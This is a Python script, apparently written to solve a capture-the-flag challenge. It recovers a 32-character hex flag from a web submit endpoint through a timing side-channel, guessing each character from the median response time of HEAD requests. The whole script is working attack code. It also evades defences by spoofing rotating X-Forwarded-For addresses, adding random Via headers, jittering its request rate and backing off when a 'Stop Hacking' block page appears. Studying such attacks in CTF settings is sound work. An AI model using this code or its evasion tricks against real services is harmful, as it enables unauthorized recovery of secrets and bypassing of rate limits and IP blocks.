#!/usr/bin/env python3
import requests, time, statistics, random, sys
URL = "http://IP:5000/submit"
TOTAL_HEX = 32
HEX = "0123456789abcdef"
# ---- Tuning (good defaults for this target) ----
TOP_K = 5 # refine only best K from coarse pass
FAST_TRIES = 1 # 1 quick coarse sample for all 16 candidates
REFINE_TRIES = 5 # baseline refine samples for top-K
MAX_REFINE_TRIES = 8 # upper bound if margin is too small
MARGIN_S = 0.020 # need ≥20ms gap to accept a winner
BASE_SLEEP = 0.07 # keep total rate ~6–8 rps with jitter
JITTER = 0.05
BLOCK_LEN = 75 # block page length you observed
SUBNET = "10.1.156." # rotate last octet for XFF
USE_VIA = True # small header variance
session = requests.Session()
session.headers.update({"Accept": "text/plain"})
def xff():
return SUBNET + str(random.randint(2, 254))
def nap(mult=1.0):
time.sleep(mult * (BASE_SLEEP + random.random() * JITTER))
def measure(prefix_hex: str, tries: int, method: str = "HEAD") -> float:
"""Median timing (server header preferred). Skips block-page samples."""
attempt = f"flag{{{prefix_hex}{'0'*(TOTAL_HEX-len(prefix_hex))}}}"
params = {"flag": attempt}
samples = []
for _ in range(tries):
headers = {"X-Forwarded-For": xff()}
if USE_VIA:
headers["Via"] = f"1.1 fw-{random.randint(100,999)}"
t0 = time.perf_counter()
r = session.request(method, URL, params=params, headers=headers, timeout=6)
t1 = time.perf_counter()
# prefer server timing; fallback to client timing
h = r.headers.get("X-Response-Time")
elapsed = None
if h:
try:
elapsed = float(h)
except ValueError:
pass
if elapsed is None:
elapsed = (t1 - t0)
body = r.text or ""
if len(body) == BLOCK_LEN or "Stop Hacking" in body:
# short bounded backoff; then continue
nap(mult=10)
continue
samples.append(elapsed)
nap()
# If all tries got blocked, force a retry by returning a huge time
if not samples:
return 9e9
return statistics.median(samples)
def rank_candidates(prefix: str, tries_fast=FAST_TRIES, tries_refine=REFINE_TRIES):
# coarse pass across all 16
coarse = []
for ch in HEX:
t = measure(prefix + ch, tries_fast, "HEAD")
coarse.append((ch, t))
coarse.sort(key=lambda x: x[1], reverse=True)
top = coarse[:TOP_K]
# refine top-K
refined = []
for ch, _ in top:
t = measure(prefix + ch, tries_refine, "HEAD")
refined.append((ch, t))
refined.sort(key=lambda x: x[1], reverse=True)
return coarse, refined
def pick_next(prefix: str) -> str:
tries = REFINE_TRIES
while True:
coarse, refined = rank_candidates(prefix, FAST_TRIES, tries)
best_ch, best_t = refined[0]
second_t = refined[1][1] if len(refined) > 1 else 0.0
# pretty log (trim to top-3 for readability)
print(f"[{len(prefix)}] coarse top: {[(c, round(t,6)) for c,t in coarse[:3]]} "
f" -> refine: {[(c, round(t,6)) for c,t in refined[:3]]}")
# accept if margin is clearly above threshold
if best_t - second_t >= MARGIN_S or tries >= MAX_REFINE_TRIES:
return best_ch
# ambiguous → increase refine samples and retry only for top-K next loop
tries = min(MAX_REFINE_TRIES, tries + 1)
nap(mult=2)
def verify(flag_hex: str):
params = {"flag": f"flag{{{flag_hex}}}"}
r = session.get(URL, params=params,
headers={"X-Forwarded-For": xff(), "Accept": "text/plain"},
timeout=8)
print("[*] Verify:", r.status_code, "len:", len(r.text or ""))
print((r.text or "")[:400])
def main():
# quick HEAD baseline on a wrong flag
base = measure("0"*TOTAL_HEX, tries=1, method="HEAD")
print(f"[*] Baseline (HEAD): t≈{base:.6f}s")
prefix = ""
for i in range(TOTAL_HEX):
ch = pick_next(prefix)
prefix += ch
print(f"[=] progress: flag{{{prefix}{'.'*(TOTAL_HEX-len(prefix))}}}")
nap(mult=2)
print("\n[+] Guessed flag hex:", prefix)
verify(prefix)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\nInterrupted.")
sys.exit(1)